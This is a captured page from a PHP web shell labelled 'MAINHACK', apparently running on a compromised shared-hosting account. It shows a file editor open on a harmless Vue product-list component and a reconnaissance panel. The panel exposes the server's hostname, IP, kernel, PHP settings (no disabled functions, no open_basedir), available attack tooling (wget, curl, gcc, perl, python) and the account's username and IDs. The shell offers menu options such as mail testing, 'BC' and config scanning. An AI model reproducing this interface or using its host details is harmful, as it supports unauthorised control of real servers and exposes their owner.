[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ProductListComponent.vue
<template> <div v-if="products.length > 0" v-for="product in products" class="sm:p-2 rounded-2xl sm:shadow-card transition-all duration-300 sm:hover:shadow-hover group"> <div class="relative overflow-hidden rounded-xl isolate"> <label class="capitalize text-xs font-semibold rounded-xl py-1 px-2 shadow-badge absolute top-3 left-3 z-10 bg-secondary text-white" v-if="product.is_offer && product.flash_sale">{{ $t('label.flash_sale') }}</label> <img :src="product.cover" alt="product" class="w-full rounded-xl transition-all duration-300 group-hover:scale-105 group-hover:rotate-3"> </div> <div class="px-1 sm:px-0 pt-4 pb-2"> <h3 class="capitalize text-base font-semibold whitespace-nowrap mb-1.5 transition-all duration-300 hover:text-primary overflow-hidden"> {{ product.name }} </h3> <div class="flex flex-wrap items-center gap-2 mb-5"> <div class="flex items-center gap-1"> <starRating border-color="#FFBC1F" :rounded-corners="true" :padding="2.5" :border-width="2.5" :star-size="9" class="mt-[2px]" inactive-color="#FFFFFF" active-color="#FFBC1F" :round-start-rating="false" :show-rating="false" :read-only="true" :max-rating="5" :rating="(product.rating_star / product.rating_star_count)" /> </div> <div v-if="product.rating_star_count > 0" class="flex items-center gap-1 mt-[5px]"> <span class="text-xs font-medium whitespace-nowrap text-text">{{ (product.rating_star / product.rating_star_count).toFixed(1) }}</span> <span class="text-xs font-medium whitespace-nowrap text-text hover:text-primary">({{ product.rating_star_count }} {{ product.rating_star_count > 1 ? $t('label.reviews') : $t('label.review') }})</span> </div> </div> <div class="flex flex-wrap-reverse items-center gap-x-3 gap-y-1" v-if="product.is_offer"> <h3 class="text-xl sm:text-[22px] font-bold"> <span>{{ product.discounted_price }}</span> </h3> <h4 class="text-sm sm:text-base font-semibold text-shopperz-red"> <del>{{ product.currency_price }}</del> </h4> </div> <h4 class="text-xl sm:text-[22px] font-bold" v-else> <span>{{ product.currency_price }}</span> </h4> </div> </div> </template> <script> import starRating from "vue-star-rating"; export default { name: "ProductListComponent", components: { starRating }, props: { "products": "object", }, data() { return { rating: [] } }, methods: { } } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285